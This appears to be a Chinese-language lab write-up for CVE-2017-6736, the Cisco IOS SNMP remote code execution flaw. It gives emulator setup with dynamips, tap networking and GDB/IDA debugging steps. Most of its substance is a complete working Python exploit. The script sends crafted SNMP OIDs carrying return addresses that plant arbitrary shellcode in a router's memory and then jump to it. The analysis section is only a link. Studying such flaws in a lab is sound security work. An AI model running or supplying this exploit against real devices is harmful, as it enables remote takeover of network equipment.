CVE-2017-6736

# PREFACE:偷点纯真的理解

# 环境配置

docker 环境 (ubuntu 15):

docker pull ubuntu:wily
docker ps -a
docker run --cap-add=NET_ADMIN --device=/dev/net/tun  -it ubuntu:wily /bin/bash
apt install git

换源到旧版 ubuntu:

sed -i 's/archive/old-releases/g' /etc/apt/sources.list
apt update

编译模拟环境 dynamips

apt-get install git
git clone https://github.com/Groundworkstech/dynamips-gdb-mod.git
cd dynamips-gdb-mod/src
# 安装依赖
apt-get install libpcap-dev uml-utilities libelf-dev libelf1
# 这里需要修改配置文件
cd /
find . -name "libelf.a"
# ./usr/lib/x86_64-linux-gnu/libelf.a
vim Makefile
image-20240124172328534 image-20240125085212819 image-20240125085538393

配置网络

tunctl -t tap1 # 创建网络接口
ifconfig tap1 up # 配置启用网络接口
ifconfig tap1 192.168.199.139/24 up # 指定给 tap1 的 IP 地址和子网掩码
# 删除
ifconfig tap1 down
tunctl -d tap1

image-20240125092852258

运行

dynamips -j -P 2600 -s 0:0:tap:tap1 C2600-BI.BIN

开启 gdb server 调试

dynamips -Z 12345 -j -P 2600 -s 0:0:tap:tap1 C2600-BI.BIN

配置:

Would you like to enter the initial configuration dialog? [yes/no]:yes
management network from the above interface summary: Ethernet0/0
ip address 192.168.199.138 255.255.255.0

重新配置方法

rm c2600_*
python c2800nm-adventerprisek9-mz.151-4.M12a.py 192.168.199.254 public 12345678

c2800nm-adventerprisek9-mz.151-4.M12a.py

from scapy.all import *
from time import sleep
from struct import pack, unpack
import random
import argparse
import sys
try:
	cs = __import__('capstone')
except ImportError:
	pass
def bin2oid(buf):
    return ''.join(['.' + str(unpack('B',x)[0]) for x in buf])
def shift(s, offset):
    res = pack('>I', unpack('>I', s)[0] + offset)
    return res
alps_oid = '1.3.6.1.4.1.9.9.95.1.3.1.1.7.108.39.84.85.195.249.106.59.210.37.23.42.103.182.75.232.81{0}{1}{2}{3}{4}{5}{6}{7}.14.167.142.47.118.77.96.179.109.211.170.27.243.88.157.50{8}{9}.35.27.203.165.44.25.83.68.39.22.219.77.32.38.6.115{10}{11}.11.187.147.166.116.171.114.126.109.248.144.111.30'
shellcode_start = '\x80\x00\xf0\x00'
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("host", type=str, help="host IP")
    parser.add_argument("community", type=str, help="community string")
    parser.add_argument("shellcode", action='store', type=str, help='shellcode to run (in hex)')
    args = parser.parse_args()
    sh_buf = args.shellcode.replace(' ','').decode('hex')
    print 'Writing shellcode to 0x{}'.format(shellcode_start.encode('hex'))
    if 'capstone' in sys.modules: 
        md = cs.Cs(cs.CS_ARCH_MIPS, cs.CS_MODE_MIPS32 | cs.CS_MODE_BIG_ENDIAN)
    for k, sh_dword in enumerate([sh_buf[i:i+4] for i in range(0, len(sh_buf), 4)]):
        s0 = bin2oid(sh_dword)  # shellcode dword
        s1 = bin2oid('\x00\x00\x00\x00') 
        s2 = bin2oid('\xBF\xC5\xB7\xDC')
        s3 = bin2oid('\x00\x00\x00\x00')
        s4 = bin2oid('\x00\x00\x00\x00')
        s5 = bin2oid('\x00\x00\x00\x00')
        s6 = bin2oid('\x00\x00\x00\x00')
        ra = bin2oid('\xbf\xc2\x2f\x60') # return control flow jumping over 1 stack frame
        s0_2 = bin2oid(shift(shellcode_start, k * 4))
        ra_2 = bin2oid('\xbf\xc7\x08\x60')
        s0_3 = bin2oid('\x00\x00\x00\x00')
        ra_3 = bin2oid('\xBF\xC3\x86\xA0')
        
        payload = alps_oid.format(s0, s1, s2, s3, s4, s5, s6, ra, s0_2, ra_2, s0_3, ra_3)
        
        send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)])))
        cur_addr = unpack(">I",shift(shellcode_start, k * 4 + 0xa4))[0]
        if 'capstone' in sys.modules: 
            for i in md.disasm(sh_dword, cur_addr):
                color = 'green'
        else:
            print("0x%x:\t%s" %(cur_addr, sh_dword.encode('hex')))
            
        sleep(1)
    ans = raw_input("Jump to shellcode? [yes]: ")
    if ans == 'yes':
        ra = bin2oid(shift(shellcode_start, 0xa4)) # return control flow jumping over 1 stack frame
        zero = bin2oid('\x00\x00\x00\x00')
        payload = alps_oid.format(zero, zero, zero, zero, zero, zero, zero, ra, zero, zero, zero, zero)
        send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)])))
        print 'Jump taken!'

gdb 连接

gdb-multiarch
set architecture powerpc:MPC8XX
set endian big

端口转发(这里用的 wsl 所以需要。。。)

socat -T 600 TCP-LISTEN:1234,fork,reuseaddr TCP:172.17.0.2:1234 &

ida attach 进去即可

# 分析:

参考资料:CVE-2017-6736 思科 IOS 系统远程代码执行漏洞分析 - 安全客 - 安全资讯平台 (anquanke.com)